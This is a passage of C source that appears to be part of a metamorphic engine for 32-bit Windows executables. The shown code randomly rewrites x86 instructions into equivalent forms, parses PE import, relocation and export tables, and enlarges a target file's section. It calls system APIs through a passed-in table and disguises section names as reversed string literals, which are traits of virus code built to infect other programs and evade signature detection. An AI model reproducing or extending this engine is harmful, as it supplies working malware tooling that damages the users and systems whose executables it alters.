                    pNewSynonymousX86InstructionAbstraction->Data[1]=pNewSynonymousX86InstructionAbstraction->ModRM;
                    pNewSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagAddressModeWBit|X86InstructionStandardFlagData);
                    pNewSynonymousX86InstructionAbstraction->dwExtendedFlags |= (X86InstructionExtendedFlag32BitSingleModRM|X86InstructionExtendedFlagBlankReg);
                    
                    pCurrentSynonymousX86InstructionAbstraction=pNewSynonymousX86InstructionAbstraction;
                    
                    continue;
                }
            }
        }
        
        // Walk instruction list and mutate single instructions
        
        for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {
            // Inc Reg(8/16/32) -> Add Reg(8/16/32), 1(8/16/32) --------------------------------------------------------------|
            // Dec Reg(8/16/32) -> Add Reg(8/16/32), -1(8/16/32) -------------------------------------------------------------|
            // Inc [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], 1(8/16/32) -------------------------|  |
            // Dec [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], -1(8/16/32) ------------------------|  |
            // Add [Effective Address (8/16/32)], Constant8/16/32 -> Sub [Effective Address (8/16/32)], -Constant8/16/32 <-|  | Inc [Effective Address (8/16/32)] -> Sub [Effective Address (8/16/32)], -1(8/16/32) / Dec [Effective Address (8/16/32)] -> Sub [Effective Address (8/16/32)], 1(8/16/32)
            // Add Reg(8/16/32), Constant8/16/32 -> Sub Reg(8/16/32), -Constant8/16/32 <--------------------------------------| Inc Reg(8/16/32) -> Sub Reg(8/16/32), -1(8/16/32) / Dec Reg(8/16/32) -> Sub Reg(8/16/32), 1(8/16/32)
            // Test Reg(8/16/32), Reg(8/16/32) -> Cmp Reg(8/16/32), 0(8/16/32) / Or Reg(8/16/32), Reg(8/16/32)
            // Xor Reg(8/16/32), Reg(8/16/32) -> Mov Reg(8/16/32), 0(8/16/32) / Sub Reg(8/16/32), Reg(8/16/32)
            // Add Reg1(32), Reg2(32) -> Lea Reg1(32), Dword [Reg1(32) + Reg2(32) * 1]
            // Push Constant32 -> Push Constant8
            
            if((pAPITable->Rand() % 2) == 0)
            {
                continue;
            }
            
            if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
            {
                CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->SourceRegister;
                CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                
                if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch))
                {
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x40 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0x47)
                    {
                        // Inc Reg(8/16/32) -> Add Reg(8/16/32), 1(8/16/32)
                        
                        pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                        pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82;
                        pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3);
                        pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83;
                        pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                        pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                        pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; // 000 - Add extended opcode
                        pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                        pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm);
                        pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                        pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=1;
                        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= (X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit);
                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode;
                        
                        if((pAPITable->Rand() % 2) == 0)
                        {
                            continue;
                        }
                    }
                    else if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x48 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0x4F)
                    {
                        // Dec Reg(8/16/32) -> Add Reg(8/16/32), -1(8/16/32)
                        
                        pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                        pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82;
                        pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3);
                        pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83;
                        pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                        pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                        pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; // 000 - Add extended opcode
                        pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                        pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm);
                        pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                        pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-1;
                        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode;
                        
                        if((pAPITable->Rand() % 2) == 0)
                        {
                            continue;
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->WBitOpcode == 0xFE)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x00 || pCurrentSynonymousX86InstructionAbstraction->Reg == 0x01) // 000 - Inc extended opcode / 001 - Dec extended opcode
                        {
                            // Inc [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], 1(8/16/32)
                            // Dec [Effective Address (8/16/32)] -> Add [Effective Address (8/16/32)], -1(8/16/32)
                            
                            pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength++;
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->WBit == 0)
                            {
                                pCurrentSynonymousX86InstructionAbstraction->Opcode=0x80;
                                pCurrentSynonymousX86InstructionAbstraction->DBit=0;
                            }
                            else
                            {
                                pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83;
                                pCurrentSynonymousX86InstructionAbstraction->DBit=1;
                            }
                            
                            pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength - 1);
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x01)
                            {
                                pCurrentSynonymousX86InstructionAbstraction->Reg=0x00;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-1;
                            }
                            else
                            {
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=1;
                            }
                            
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagSingleModRM;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit;
                            
                            if((pAPITable->Rand() % 2) == 0)
                            {
                                continue;
                            }
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x80 && pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x00) // 000 - Add extended opcode
                        {
                            if((pAPITable->Rand() % 2) == 0)
                            {
                                // Add -> Negated Sub
                                // Add [Effective Address (8/16/32)], Constant8/16/32 -> Sub [Effective Address (8/16/32)], -Constant8/16/32
                                // Add Reg(8/16/32), Constant8/16/32 -> Sub Reg(8/16/32), -Constant8/16/32
                                
                                pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM |= 0x28; // 101 - Sub extended opcode
                                pCurrentSynonymousX86InstructionAbstraction->Reg=0x05;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                
                                if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                                {
                                    pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                                }
                                else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                                {
                                    *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                                }
                                else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                                {
                                    *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                                }
                                
                                continue;
                            }
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x30)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister)
                        {
                            if((pAPITable->Rand() % 2) == 0)
                            {
                                // Xor Reg1, Reg1 -> Sub Reg1, Reg1
                                
                                pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x28;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode -= 8;
                            }
                            else
                            {
                                // Xor Reg1, Reg1 -> Mov Reg1, 0
                                
                                pCurrentSynonymousX86InstructionAbstraction->Opcode=(0xB0 + pCurrentSynonymousX86InstructionAbstraction->SourceRegister);
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagRegWBit;
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit);
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=0;
                                pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=1;
                                
                                if(pCurrentSynonymousX86InstructionAbstraction->WBit == 1)
                                {
                                    pCurrentSynonymousX86InstructionAbstraction->Opcode += 0x08;
                                    
                                    if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlag16BitOverridePrefix))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3);
                                        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData16;
                                        
                                        *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0;
                                    }
                                    else
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=5;
                                        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData32;
                                        
                                        *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0;
                                    }
                                }
                                else
                                {
                                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=2;
                                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8;
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=0;
                                }
                                
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                            }
                            
                            continue;
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x00)
                        {
                            // Add
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->WBit == 1)
                            {
                                // Add Reg1, Reg2 -> Lea Reg1, Dword Ptr [Reg1 + Reg2 * 1]
                                
                                pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x8D;
                                pCurrentSynonymousX86InstructionAbstraction->Mod=0x00;
                                pCurrentSynonymousX86InstructionAbstraction->Rm=0x04;
                                pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentDestinationRegister;
                                pCurrentSynonymousX86InstructionAbstraction->Scale=0;
                                pCurrentSynonymousX86InstructionAbstraction->Index=CurrentDestinationRegister;
                                pCurrentSynonymousX86InstructionAbstraction->Base=CurrentSourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm);
                                pCurrentSynonymousX86InstructionAbstraction->SIB=pCurrentSynonymousX86InstructionAbstraction->Data[2]=(pCurrentSynonymousX86InstructionAbstraction->Scale|(pCurrentSynonymousX86InstructionAbstraction->Index << 3)|pCurrentSynonymousX86InstructionAbstraction->Base);
                                pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=3;
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagAddressModeWBit;
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagDBit;
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagSIB;
                                pCurrentSynonymousX86InstructionAbstraction->Scale++;
                                
                                continue;
                            }
                        }
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x68)
                        {
                            //
                        }
                    }
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->WBitOpcode == 0x84)
                {
                    // Test
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister)
                    {
                        if((pAPITable->Rand() % 2) == 0)
                        {
                            // Test Reg1, Reg1 -> Or Reg1, Reg1
                            
                            pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x08;
                            pCurrentSynonymousX86InstructionAbstraction->Opcode += pCurrentSynonymousX86InstructionAbstraction->WBit;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                        }
                        else
                        {
                            // Test Reg1, Reg1 -> Cmp Reg1, 0
                            
                            pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x80;
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 3);
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->WBit == 0)
                            {
                                pCurrentSynonymousX86InstructionAbstraction->Opcode=0x80;
                                pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x80;
                            }
                            else
                            {
                                pCurrentSynonymousX86InstructionAbstraction->Opcode=0x83;
                                pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x82;
                            }
                            
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                            pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                            pCurrentSynonymousX86InstructionAbstraction->Reg=0x07; // 111 - Cmp extended opcode
                            pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                            pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm);
                            pCurrentSynonymousX86InstructionAbstraction->dwDataOffset=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=0;
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData8|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagExtendedOpcode;
                        }
                        
                        continue;
                    }
                }
            }
        }
    }
    
    return pSynonymousTargetCodeAbstractionTable;
}

PPE32_ABSTRACTION_TABLE
AnalyzeX86PE32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, int nCodePoolSize)
{
    PPE32_ABSTRACTION_TABLE pPE32AbstractionTable=pAPITable->GlobalAlloc(GPTR, sizeof(PE32_ABSTRACTION_TABLE));
    BOOL bSectionEndReference;
    PIMAGE_SECTION_HEADER pEATImageSectionHeader;
    PBYTE pIATPool, pRelocationPool, pEATPool;
    DWORD dwCodeSectionNameString[2], dwExportDirectorySectionIndex;
    
    dwCodeSectionNameString[0]='xet.';
    dwCodeSectionNameString[1]='t';
    
    pPE32AbstractionTable->pDOSHeader=pTargetPE32Pool;
    pPE32AbstractionTable->pFileHeader=(PBYTE)pTargetPE32Pool + pPE32AbstractionTable->pDOSHeader->e_lfanew + 4;
    pPE32AbstractionTable->pOptionalHeader=(PBYTE)pPE32AbstractionTable->pFileHeader + sizeof(IMAGE_FILE_HEADER);
    pPE32AbstractionTable->pSectionHeaders=(PBYTE)pPE32AbstractionTable->pOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER);
     
    if((pPE32AbstractionTable->dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, &dwCodeSectionNameString)) != -1)
    {
        if((pIATPool=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)) != NULL)
        {
            if((pPE32AbstractionTable->pImportAbstractions=pPE32AbstractionTable->pImportAbstractions=GetAbstractionsFromIAT32(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pIATPool)) != NULL)
            {
                if((pRelocationPool=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)) != NULL)
                {
                    if((pPE32AbstractionTable->pRelocationAbstractions=GetAbstractionsFromRelocations32(pAPITable, pTargetPE32Pool, pRelocationPool, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size, pPE32AbstractionTable->pImportAbstractions)) != NULL)
                    {
                        if((pEATImageSectionHeader=GetEnclosingSectionHeader(pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &dwExportDirectorySectionIndex, &bSectionEndReference)) != NULL)
                        {
                            if((pEATPool=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pPE32AbstractionTable->pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)) != NULL)
                            {
                                if((pPE32AbstractionTable->pExportAbstractions=GetAbstractionsFromEAT32(pAPITable, pTargetPE32Pool, pPE32AbstractionTable->pSectionHeaders, pPE32AbstractionTable->pFileHeader->NumberOfSections, pEATPool, dwExportDirectorySectionIndex)) == NULL)
                                {   
                                    goto AnalysisFailed;
                                }     
                            }
                        }        
                                     
                        if((pPE32AbstractionTable->pCodeAbstractions=AnalyzeX86PE32CodeSequence(pAPITable, pTargetPE32Pool, (nCodePoolSize == -1 ? (pPE32AbstractionTable->pSectionHeaders + pPE32AbstractionTable->dwCodeSectionIndex)->Misc.VirtualSize : nCodePoolSize), pPE32AbstractionTable->pRelocationAbstractions, pPE32AbstractionTable->pExportAbstractions)) != NULL)
                        {
                            IdentifyEtherealX86BranchCorrespondences(pPE32AbstractionTable->pCodeAbstractions->pInitialX86InstructionAbstraction);
                            
                            return pPE32AbstractionTable;
                        }
                    }
                }
            }
        }
    }
    
    AnalysisFailed:
                   
    pAPITable->GlobalFree(pPE32AbstractionTable);
    
    return NULL;
}

VOID
FreezeX86CodeIslandAbstractions
(PAPI_TABLE pAPITable, PX86_CODE_ISLAND_ABSTRACTION_TABLE pCodeIslandAbstractionTable, DWORD dwCodePoolSize, PBYTE *ppFrozenCodeIslandAbstractionPool, PDWORD pdwFrozenCodeIslandAbstractionPoolSize)
{
    DWORD dwCurrentFrozenCodeIslandPoolOffset, dwCurrentCodeIslandIndex, dwFrozenCodeIslandAbstractionPoolSize=(8 + ((pCodeIslandAbstractionTable->dwNumberOfCodeIslands + 1) * 8));
    PBYTE pFrozenCodeIslandAbstractionPool=pAPITable->GlobalAlloc(GPTR, dwFrozenCodeIslandAbstractionPoolSize);
    
    for(dwCurrentFrozenCodeIslandPoolOffset=8, dwCurrentCodeIslandIndex=0; dwCurrentCodeIslandIndex <= pCodeIslandAbstractionTable->dwNumberOfCodeIslands; dwCurrentCodeIslandIndex++)
    {
        *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandPoolOffset]=pCodeIslandAbstractionTable->CodeIslands[dwCurrentCodeIslandIndex].pInitialX86CodeIslandInstruction->dwInstructionOffset;
        
        dwCurrentFrozenCodeIslandPoolOffset += 4;
        
        *(PDWORD)&pFrozenCodeIslandAbstractionPool[dwCurrentFrozenCodeIslandPoolOffset]=(pCodeIslandAbstractionTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction->dwInstructionOffset/* - (pCodeIslandAbstractionTable->CodeIslands[dwCurrentCodeIslandIndex].pFinalX86CodeIslandInstruction->dwInstructionLength)*/);
            
        dwCurrentFrozenCodeIslandPoolOffset += 4;
    }
    
    *(PDWORD)&pFrozenCodeIslandAbstractionPool[0]=pCodeIslandAbstractionTable->dwNumberOfCodeIslands;
    *(PDWORD)&pFrozenCodeIslandAbstractionPool[4]=dwCodePoolSize;
    
    *pdwFrozenCodeIslandAbstractionPoolSize=dwFrozenCodeIslandAbstractionPoolSize;
    *ppFrozenCodeIslandAbstractionPool=pFrozenCodeIslandAbstractionPool;
    
    return;
}

BOOL
AugmentPE32SectionSize
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, DWORD dwTargetPE32PoolSize, PBYTE *ppAugmentedPE32Pool, PDWORD pdwAugmentedPE32PoolSize, DWORD dwTargetSectionIndex, DWORD dwTargetSectionAugmentationSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractionTable, PEXPORT_ABSTRACTION_TABLE pExportAbstractionTable)
{
    BOOL bTargetSectionAugmented=FALSE;
    
    if(*(PWORD)&pTargetPE32Pool[0] != 'ZM')
    {
        return bTargetSectionAugmented;
    }
    
    PIMAGE_DOS_HEADER pOriginalImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pOriginalImageFileHeader=((PBYTE)pOriginalImageDOSHeader + pOriginalImageDOSHeader->e_lfanew + 4);
    
    if(pOriginalImageFileHeader->Machine != IMAGE_FILE_MACHINE_I386)
    {
        return bTargetSectionAugmented;
    }
    
    PIMAGE_OPTIONAL_HEADER pOriginalImageOptionalHeader=((PBYTE)pOriginalImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pOriginalImageSectionHeader=((PBYTE)pOriginalImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwOriginalPE32LastSectionIndex=(pOriginalImageFileHeader->NumberOfSections - 1);
    
    // Perform geometric checks to ensure target PE32 is handled
    
    if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == 0 || pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size == 0)
    {
        return bTargetSectionAugmented;
    }
    
    if(pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress != 0 || pOriginalImageOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size != 0)
    {
        return bTargetSectionAugmented;
    }
    
    DWORD dwRelocationSectionNameString[2];
    
    dwRelocationSectionNameString[0]='ler.';
    dwRelocationSectionNameString[1]='co';
    
    if(pAPITable->lstrcmpA((pOriginalImageSectionHeader + dwOriginalPE32LastSectionIndex)->Name, &dwRelocationSectionNameString) != 0)
    {                                
        return bTargetSectionAugmented;
    }
    
    // Sanitize the current PE32
    
    DWORD dwSanitizedPE32PoolSize=((pOriginalImageSectionHeader + dwOriginalPE32LastSectionIndex)->PointerToRawData + (pOriginalImageSectionHeader + dwOriginalPE32LastSectionIndex)->SizeOfRawData);
    PBYTE pSanitizedPE32Pool=pAPITable->GlobalAlloc(GPTR, dwSanitizedPE32PoolSize);
    
    RelocateMemory(pSanitizedPE32Pool, pTargetPE32Pool, dwSanitizedPE32PoolSize);
    
    PIMAGE_DOS_HEADER pSanitizedImageDOSHeader=pSanitizedPE32Pool;
    PIMAGE_FILE_HEADER pSanitizedImageFileHeader=((PBYTE)pSanitizedImageDOSHeader + pSanitizedImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pSanitizedImageOptionalHeader=((PBYTE)pSanitizedImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pSanitizedImageSectionHeader=((PBYTE)pSanitizedImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwX;
    
